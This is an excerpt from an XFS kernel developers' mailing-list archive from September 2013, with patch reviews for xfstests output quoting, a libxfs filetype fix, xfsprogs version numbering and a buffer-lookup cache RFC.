SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- Reset- FastB2B- PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- Capabilities: [50] Subsystem: Giga-byte Technology Motherboard 00:1f.0 ISA bridge: Intel Corporation 82801IR (ICH9R) LPC Interface Controller (rev 02) Subsystem: Giga-byte Technology Device 5001 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Kernel driver in use: lpc_ich Kernel modules: lpc_ich 00:1f.2 SATA controller: Intel Corporation 82801IR/IO/IH (ICH9R/DO/DH) 6 port SATA Controller [AHCI mode] (rev 02) (prog-if 01 [AHCI 1.0]) Subsystem: Giga-byte Technology Device b005 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- Capabilities: [100 v1] Advanced Error Reporting UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- UESvrt: DLP+ SDES- TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr- CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr- AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn- Capabilities: [12c v1] Virtual Channel Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 Arb: Fixed- WRR32- WRR64- WRR128- Ctrl: ArbSelect=Fixed Status: InProgress- VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- Arb: Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256- Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=ff Status: NegoPending- InProgress- Capabilities: [148 v1] Device Serial Number 25-00-00-00-10-ec-81-68 Capabilities: [154 v1] Power Budgeting Kernel driver in use: r8169 Kernel modules: r8169 04:00.0 VGA compatible controller: Tseng Labs Inc ET6000 (rev 30) (prog-if 00 [VGA controller]) Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap- 66MHz- UDF- FastB2B- ParErr- DEVSEL=slow >TAbort- SERR- X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 48AA329E0B for ; Wed, 18 Sep 2013 16:13:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF410AC006 for ; Wed, 18 Sep 2013 14:13:49 -0700 (PDT) X-ASG-Debug-ID: 1379538822-04cbb02c3c1186ea0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id xNN7gdf6rEuFsu6S for ; Wed, 18 Sep 2013 14:13:43 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 06:43:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMP3t-0002Y0-3m; Thu, 19 Sep 2013 07:13:25 +1000 Date: Thu, 19 Sep 2013 07:13:25 +1000 From: Dave Chinner To: Josef Bacik Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: introduce _filter_backtick Message-ID: <20130918211325.GB4330@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: introduce _filter_backtick References: <1379536166-19232-1-git-send-email-jbacik@fusionio.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379536166-19232-1-git-send-email-jbacik@fusionio.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379538823 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 04:29:26PM -0400, Josef Bacik wrote: > Apparently the GNU guys decided to change their error output from something like > > Error `Error message' > > To > > Error 'Error message' > > So to fix this I've introduced _filter_backtick which will change any ` to ' and > then changed the output of the tests that were failing for me because of this > output. I tested this on a new box that has the new output and an old box which > has the old output and it appears to fix the issue. Thanks, > > Signed-off-by: Josef Bacik That's just leaving a landmine behind, and it doesn't catch all the tests that need updating. This approach was floated here: http://oss.sgi.com/archives/xfs/2013-05/msg00312.html And my response was to add a global filter to the .check file so it doesn't leave a landmine. Indeed, I have a local version on tomas' patch that I modified in May does just that: --- a/check +++ b/check @@ -477,6 +477,10 @@ do echo " - no qualified output" err=true else + + # coreutils 2.16+ changed quote formats in error messages from + # `foo' to 'foo'. Filter old versions to match the new version. + sed -i "s/\`/\'/g" $tmp.out if diff $seq.out $tmp.out >/dev/null 2>&1 then if $err I also discovered that for some reason LANG=C is not sufficient for all cases to make the quoting behaviour consistent. i.e. I needed to set LC_ALL=C so that it didn't use weird UTF-8 encodings for the quotes instead of a simple backtick. Full patch below. Cheers, Dave. -- Dave Chinner david@fromorbit.com xfstests: unify apostrophes in output files From: Tomas Racek With coreutils v8.16 the style of apostrophes changed from `word' to 'word'. This is breaking some tests which use the older form. This commit introduces function changes the golden output of the affected tests and introduces a filter for the older style output. [dchinner: modified to use a global filter in check rather than per-test filters] Signed-off-by: Tomas Racek Signed-off-by: Dave Chinner --- check | 4 ++++ common/config | 1 + tests/generic/193.out | 16 ++++++++-------- tests/generic/230.out | 8 ++++---- tests/generic/235.out | 2 +- tests/generic/245.out | 2 +- tests/generic/294.out | 8 ++++---- tests/generic/306.out | 2 +- tests/xfs/103.out | 2 +- tests/xfs/200.out | 2 +- 10 files changed, 26 insertions(+), 21 deletions(-) diff --git a/check b/check index 4085eae..ba7fd21 100755 --- a/check +++ b/check @@ -478,6 +478,10 @@ do echo " - no qualified output" err=true else + + # coreutils 2.16+ changed quote formats in error messages from + # `foo' to 'foo'. Filter old versions to match the new version. + sed -i "s/\`/\'/g" $tmp.out if diff $seq.out $tmp.out >/dev/null 2>&1 then if $err diff --git a/common/config b/common/config index 67c1498..b422f87 100644 --- a/common/config +++ b/common/config @@ -49,6 +49,7 @@ # all tests should use a common language setting to prevent golden # output mismatches. export LANG=C +export LC_ALL=C # Warning: don't put freeware before /usr/bsd on IRIX coz you'll # get the wrong hostname and set your system name to -s :) diff --git a/tests/generic/193.out b/tests/generic/193.out index 357a7c1..7a7f89a 100644 --- a/tests/generic/193.out +++ b/tests/generic/193.out @@ -3,28 +3,28 @@ QA output created by 193 testing ATTR_UID user: chown root owned file to qa_user (should fail) -chown: changing ownership of `test.root': Operation not permitted +chown: changing ownership of 'test.root': Operation not permitted user: chown root owned file to root (should fail) -chown: changing ownership of `test.root': Operation not permitted +chown: changing ownership of 'test.root': Operation not permitted user: chown qa_user owned file to qa_user (should succeed) user: chown qa_user owned file to root (should fail) -chown: changing ownership of `test.user': Operation not permitted +chown: changing ownership of 'test.user': Operation not permitted testing ATTR_GID user: chgrp root owned file to root (should fail) -chgrp: changing group of `test.root': Operation not permitted +chgrp: changing group of 'test.root': Operation not permitted user: chgrp qa_user owned file to root (should fail) -chgrp: changing group of `test.user': Operation not permitted +chgrp: changing group of 'test.user': Operation not permitted user: chgrp root owned file to qa_user (should fail) -chgrp: changing group of `test.root': Operation not permitted +chgrp: changing group of 'test.root': Operation not permitted user: chgrp qa_user owned file to qa_user (should succeed) testing ATTR_MODE user: chmod a+r on qa_user owned file (should succeed) user: chmod a+r on root owned file (should fail) -chmod: changing permissions of `test.root': Operation not permitted +chmod: changing permissions of 'test.root': Operation not permitted check that the sgid bit is cleared -rw-rw-rw- check that suid bit is not cleared @@ -60,5 +60,5 @@ testing ATTR_*TIMES_SET user: touch qa_user file (should succeed) user: touch root file (should fail) -touch: cannot touch `test.root': Permission denied +touch: cannot touch 'test.root': Permission denied *** done diff --git a/tests/generic/230.out b/tests/generic/230.out index d2d434c..c3dace9 100644 --- a/tests/generic/230.out +++ b/tests/generic/230.out @@ -12,9 +12,9 @@ Write 4096... pwrite64: Disk quota exceeded Touch 3+4 Touch 5+6 -touch: cannot touch `SCRATCH_MNT/file6': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file6': Disk quota exceeded Touch 5 -touch: cannot touch `SCRATCH_MNT/file5': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file5': Disk quota exceeded ### test group limit enforcement @@ -28,6 +28,6 @@ Write 4096... pwrite64: Disk quota exceeded Touch 3+4 Touch 5+6 -touch: cannot touch `SCRATCH_MNT/file6': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file6': Disk quota exceeded Touch 5 -touch: cannot touch `SCRATCH_MNT/file5': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file5': Disk quota exceeded diff --git a/tests/generic/235.out b/tests/generic/235.out index a095694..95c1005 100644 --- a/tests/generic/235.out +++ b/tests/generic/235.out @@ -15,7 +15,7 @@ Group used soft hard grace used soft hard grace fsgqa -- 0 0 0 1 0 0 -touch: cannot touch `SCRATCH_MNT/failed': Read-only file system +touch: cannot touch 'SCRATCH_MNT/failed': Read-only file system *** Report for user quotas on device SCRATCH_DEV Block grace time: 7days; Inode grace time: 7days Block limits File limits diff --git a/tests/generic/245.out b/tests/generic/245.out index 8322aac..f5b5f18 100644 --- a/tests/generic/245.out +++ b/tests/generic/245.out @@ -1,2 +1,2 @@ QA output created by 245 -mv: cannot move `TEST_DIR/test-mv/ab/aa/' to `TEST_DIR/test-mv/aa': File exists +mv: cannot move 'TEST_DIR/test-mv/ab/aa/' to 'TEST_DIR/test-mv/aa': File exists diff --git a/tests/generic/294.out b/tests/generic/294.out index 027d9fc..1ac1c67 100644 --- a/tests/generic/294.out +++ b/tests/generic/294.out @@ -1,5 +1,5 @@ QA output created by 294 -mknod: `SCRATCH_MNT/294.test/testnode': File exists -mkdir: cannot create directory `SCRATCH_MNT/294.test/testdir': File exists -touch: cannot touch `SCRATCH_MNT/294.test/testtarget': Read-only file system -ln: creating symbolic link `SCRATCH_MNT/294.test/testlink': File exists +mknod: 'SCRATCH_MNT/294.test/testnode': File exists +mkdir: cannot create directory 'SCRATCH_MNT/294.test/testdir': File exists +touch: cannot touch 'SCRATCH_MNT/294.test/testtarget': Read-only file system +ln: creating symbolic link 'SCRATCH_MNT/294.test/testlink': File exists diff --git a/tests/generic/306.out b/tests/generic/306.out index 69bfb42..fb3748b 100644 --- a/tests/generic/306.out +++ b/tests/generic/306.out @@ -1,6 +1,6 @@ QA output created by 306 == try to create new file -touch: cannot touch `SCRATCH_MNT/this_should_fail': Read-only file system +touch: cannot touch 'SCRATCH_MNT/this_should_fail': Read-only file system == pwrite to null device wrote 512/512 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/xfs/103.out b/tests/xfs/103.out index f939bcd..4ab3ad7 100644 --- a/tests/xfs/103.out +++ b/tests/xfs/103.out @@ -4,7 +4,7 @@ QA output created by 103 *** testing nosymlinks directories *** setting nosymlinks bit --n-- SCRATCH_MNT/nosymlink -ln: creating symbolic link `SCRATCH_MNT/nosymlink/target': Operation not permitted +ln: creating symbolic link 'SCRATCH_MNT/nosymlink/target': Operation not permitted *** 1st listing... SCRATCH_MNT SCRATCH_MNT/nosymlink diff --git a/tests/xfs/200.out b/tests/xfs/200.out index 2629541..174838c 100644 --- a/tests/xfs/200.out +++ b/tests/xfs/200.out @@ -3,7 +3,7 @@ setting device read-only mounting read-only block device: mount: block device SCRATCH_DEV is write-protected, mounting read-only touching file on read-only filesystem (should fail) -touch: cannot touch `SCRATCH_MNT/foo': Read-only file system +touch: cannot touch 'SCRATCH_MNT/foo': Read-only file system unmounting read-only filesystem setting device read-write mounting read-write block device: From david@fromorbit.com Wed Sep 18 16:17:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D1C729E10 for ; Wed, 18 Sep 2013 16:17:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2FFEFAC004 for ; Wed, 18 Sep 2013 14:17:58 -0700 (PDT) X-ASG-Debug-ID: 1379539075-04cbb02c3b1187480001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id DrCOlGLOk34be8zd for ; Wed, 18 Sep 2013 14:17:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AusNADoXOlJ5Lapl/2dsb2JhbABbgwc4rTYDlEaBHRd0giUBAQUnExwjEAgDFQMJJQ8FJQMhE4gCug4Wj1EHgx6BAAOXeoEwkEWDNio Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 06:47:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMP8D-0002Yy-G6; Thu, 19 Sep 2013 07:17:53 +1000 Date: Thu, 19 Sep 2013 07:17:53 +1000 From: Dave Chinner To: Eric Sandeen Cc: Mark Tinguely , xfs-oss Subject: Re: [PATCH] xfsprogs: initialize filetype for lost+found creation Message-ID: <20130918211753.GC4330@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: initialize filetype for lost+found creation References: <52388C61.1000001@sandeen.net> <523A135D.7030509@sgi.com> <523A156A.5040502@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523A156A.5040502@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379539075 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 04:04:42PM -0500, Eric Sandeen wrote: > On 9/18/13 3:55 PM, Mark Tinguely wrote: > > On 09/17/13 12:07, Eric Sandeen wrote: > >> If we create lost+found make sure it's got the proper filetype. > >> > >> Signed-off-by: Eric Sandeen > >> --- > >> > >> (sorry, untested, not sure how to force creation when I can't use > >> xfs_db to craft a filesystem that needs lost+found) > > > > The {lib}xfs_dir_lookup() doesn't use the field - just like extended attributes use xfs_names but it won't use the field entry, but it does not hurt to have it initialized to something. > > Thanks for the review - just FWIW, I was thinking that it needs > to be initialized so that when created, it is created with the proper > type, rather than random stack noise. > > It seems, though, that we're still missing bits in libxfs to actually > write the types to disk; I'll look into that. Patch below. Cheers, Dave. -- Dave Chinner david@fromorbit.com libxfs: fix missing filetype updates to xfs_dir2.c From: Dave Chinner They were missed in the original patch that was committed. Signed-off-by: Dave Chinner --- libxfs/xfs_dir2.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 010c701..96a3c1d 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -194,6 +194,7 @@ xfs_dir_createname( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = inum; args.dp = dp; @@ -268,6 +269,7 @@ xfs_dir_lookup( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.dp = dp; args.whichfork = XFS_DATA_FORK; @@ -323,6 +325,7 @@ xfs_dir_removename( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = ino; args.dp = dp; From sandeen@sandeen.net Wed Sep 18 16:35:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0943E29E11 for ; Wed, 18 Sep 2013 16:35:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D8B1E304032 for ; Wed, 18 Sep 2013 14:35:37 -0700 (PDT) X-ASG-Debug-ID: 1379540135-04cbb02c3a11888c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id IoiUMWVfRQ55k8gt for ; Wed, 18 Sep 2013 14:35:36 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 5877E61A28F3; Wed, 18 Sep 2013 16:35:35 -0500 (CDT) Message-ID: <523A1CA6.3020302@sandeen.net> Date: Wed, 18 Sep 2013 16:35:34 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Ben Myers , rjohnston@sgi.com, xfs@oss.sgi.com Subject: Re: xfsprogs: update version for 3.2.0-alpha1 References: <20130916205637.GD1935@sgi.com> <20130916223855.GF19103@dastard> X-ASG-Orig-Subj: Re: xfsprogs: update version for 3.2.0-alpha1 In-Reply-To: <20130916223855.GF19103@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379540136 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140734 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/16/13 5:38 PM, Dave Chinner wrote: > On Mon, Sep 16, 2013 at 03:56:37PM -0500, Ben Myers wrote: >> xfsprogs: update version for 3.2.0-alpha1 > > I'd say this is a major feature and infrastructure > update across the entire xfsprogs package, and in that case a > PKG_MAJOR bump is warranted, not PKG_MINOR. > > i.e. We're shooting for a 4.0 release, not 3.2... Yeah good point. I'm fine with 4.0. It smells like Progress! ;) Dave also pointed out offline that maybe a 3.99 might be easier on some package managers; for Fedora it's no problem, I can just do some sort of 4.0-0.1.alpha1 4.0-0.2.alpha2 4.0-0.3.alpha3 4.0-0.4.rc1 ... 4.0-1 type progression. But if people like 3.99 *shrug* let's not paint this bike shed too many times. -Eric From tinguely@sgi.com Wed Sep 18 16:48:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 515AE29E13 for ; Wed, 18 Sep 2013 16:48:46 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 338C7304032; Wed, 18 Sep 2013 14:48:46 -0700 (PDT) Message-ID: <523A1FBD.4010701@sgi.com> Date: Wed, 18 Sep 2013 16:48:45 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> In-Reply-To: <1378690396-15792-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/08/13 20:33, Dave Chinner wrote: > From: Dave Chinner > > CPU overhead of buffer lookups dominate most metadata intensive > workloads. The thing is, most such workloads are hitting a > relatively small number of buffers repeatedly, and so caching > recently hit buffers is a good idea. > > Add a hashed lookaside buffer that records the recent buffer > lookup successes and is searched first before doing a rb-tree > lookup. If we get a hit, we avoid the expensive rbtree lookup and > greatly reduce the overhead of the lookup. If we get a cache miss, > then we've added an extra CPU cacheline miss into the lookup. > > In cold cache lookup cases, this extra cache line miss is irrelevant > as we need to read or allocate the buffer anyway, and the etup time > for that dwarfs the cost of the miss. > > In the case that we miss the lookaside cache and find the buffer in > the rbtree, the cache line miss overhead will be noticable only if > we don't see any lookaside cache misses at all in subsequent > lookups. We don't tend to do random cache walks in perfomrance > critical paths, so the net result is that the extra CPU cacheline > miss will be lost in the reduction of misses due to cache hits. This > hit/miss case is what we'll see with file removal operations. > > A simple prime number hash was chosen for the cache (i.e. modulo 37) > because it is fast, simple, and works really well with block numbers > that tend to be aligned to a multiple of 8. No attempt to optimise > this has been made - it's just a number I picked out of thin air > given that most repetitive workloads have a working set of buffers > that is significantly smaller than 37 per AG and should hold most of > the AG header buffers permanently in the lookaside cache. > > The result is that on a typical concurrent create fsmark benchmark I > run, the profile of CPU usage went from having _xfs_buf_find() as > teh number one CPU consumer: > > 6.55% [kernel] [k] _xfs_buf_find > 4.94% [kernel] [k] xfs_dir3_free_hdr_from_disk > 4.77% [kernel] [k] native_read_tsc > 4.67% [kernel] [k] __ticket_spin_trylock > > to this, at about #8 and #30 in the profile: > > 2.56% [kernel] [k] _xfs_buf_find > .... > 0.55% [kernel] [k] _xfs_buf_find_lookaside > > So the lookaside cache has halved the CPU overhead of looking up > buffers for this workload. > > On a buffer hit/miss workload like the followup concurrent removes, > _xfs_buf_find() went from #1 in the profile again at: > > 9.13% [kernel] [k] _xfs_buf_find > > to #6 and #23 repesctively: > > 2.82% [kernel] [k] _xfs_buf_find > .... > 0.78% [kernel] [k] _xfs_buf_find_lookaside > > Which is also a significant reduction in CPU overhead for buffer > lookups, and shows the benefit on mixed cold/hot cache lookup > workloads. > > Performance differential, as measured with -m crc=1,finobt=1: > > create remove > time rate time > xfsdev 4m16s 221k/s 6m18s > patched 3m59s 236k/s 5m56s > > So less CPU time spent on lookups translates directly to better > metadata performance. > > Signed-off-by: Dave Chinner > --- Low cost, possible higher return. Idea looks good to me. What happens in xfs_buf_get_map() when we lose the xfs_buf_find() race? I don't see a removal of the losing lookaside entry inserted in the xfs_buf_find(). I will let it run for a while. --Mark. From david@fromorbit.com Wed Sep 18 16:54:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 971D829E15 for ; Wed, 18 Sep 2013 16:54:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 161B2AC004 for ; Wed, 18 Sep 2013 14:54:50 -0700 (PDT) X-ASG-Debug-ID: 1379541288-04cbb02c3b1189dd0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id GHGKT5DfGTU37cGh for ; Wed, 18 Sep 2013 14:54:49 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGALIgOlJ5Lapl/2dsb2JhbABbgwfCN4EdF3SCJQEBBAEnExwjBQsIAxgJJQ8FJQMhE4d9BboPFo9RB4MegQADl3qKN4c+gzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 07:24:48 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMPht-0002gC-LE; Thu, 19 Sep 2013 07:54:45 +1000 Date: Thu, 19 Sep 2013 07:54:45 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: add the inode directory type support to XFS_IOC_FSGEOM Message-ID: <20130918215445.GA9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: add the inode directory type support to XFS_IOC_FSGEOM References: <20130917144721.917667018@sgi.com> <20130917144733.819109222@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130917144733.819109222@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379541288 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140734 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 17, 2013 at 09:47:22AM -0500, Mark Tinguely wrote: > Signed-off-by: Mark Tinguely > --- > fs/xfs/xfs_fs.h | 32 ++++++++++++++++---------------- > fs/xfs/xfs_fsops.c | 4 +++- > 2 files changed, 19 insertions(+), 17 deletions(-) > > Index: b/fs/xfs/xfs_fs.h > =================================================================== > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -222,22 +222,22 @@ typedef struct xfs_fsop_resblks { > > #define XFS_FSOP_GEOM_VERSION 0 > > -#define XFS_FSOP_GEOM_FLAGS_ATTR 0x0001 /* attributes in use */ > -#define XFS_FSOP_GEOM_FLAGS_NLINK 0x0002 /* 32-bit nlink values */ > -#define XFS_FSOP_GEOM_FLAGS_QUOTA 0x0004 /* quotas enabled */ > -#define XFS_FSOP_GEOM_FLAGS_IALIGN 0x0008 /* inode alignment */ > -#define XFS_FSOP_GEOM_FLAGS_DALIGN 0x0010 /* large data alignment */ > -#define XFS_FSOP_GEOM_FLAGS_SHARED 0x0020 /* read-only shared */ > -#define XFS_FSOP_GEOM_FLAGS_EXTFLG 0x0040 /* special extent flag */ > -#define XFS_FSOP_GEOM_FLAGS_DIRV2 0x0080 /* directory version 2 */ > -#define XFS_FSOP_GEOM_FLAGS_LOGV2 0x0100 /* log format version 2 */ > 